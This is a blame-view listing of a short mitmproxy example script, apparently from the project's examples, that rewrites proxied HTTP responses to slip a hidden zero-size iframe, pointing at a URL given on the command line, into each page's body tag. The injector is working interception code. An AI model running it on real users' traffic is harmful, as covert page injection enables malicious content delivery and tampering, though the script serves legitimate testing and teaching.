2014-09-05 13:05:44 +00:00
|
|
|
# Usage: mitmdump -s "iframe_injector.py url"
|
|
|
|
# (this script works best with --anticache)
|
|
|
|
from libmproxy.protocol.http import decoded
|
|
|
|
|
|
|
|
|
2014-09-08 14:02:31 +00:00
|
|
|
def start(context, argv):
|
2014-09-05 13:05:44 +00:00
|
|
|
if len(argv) != 2:
|
|
|
|
raise ValueError('Usage: -s "iframe_injector.py url"')
|
2014-09-08 14:02:31 +00:00
|
|
|
context.iframe_url = argv[1]
|
2014-09-05 13:05:44 +00:00
|
|
|
|
|
|
|
|
2014-09-08 14:02:31 +00:00
|
|
|
def handle_response(context, flow):
|
2014-09-05 13:05:44 +00:00
|
|
|
with decoded(flow.response): # Remove content encoding (gzip, ...)
|
|
|
|
c = flow.response.replace(
|
|
|
|
'<body>',
|
2014-09-08 14:02:31 +00:00
|
|
|
'<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % context.iframe_url)
|
2014-09-05 13:05:44 +00:00
|
|
|
if c > 0:
|
2014-09-08 14:02:31 +00:00
|
|
|
context.log("Iframe injected!")
|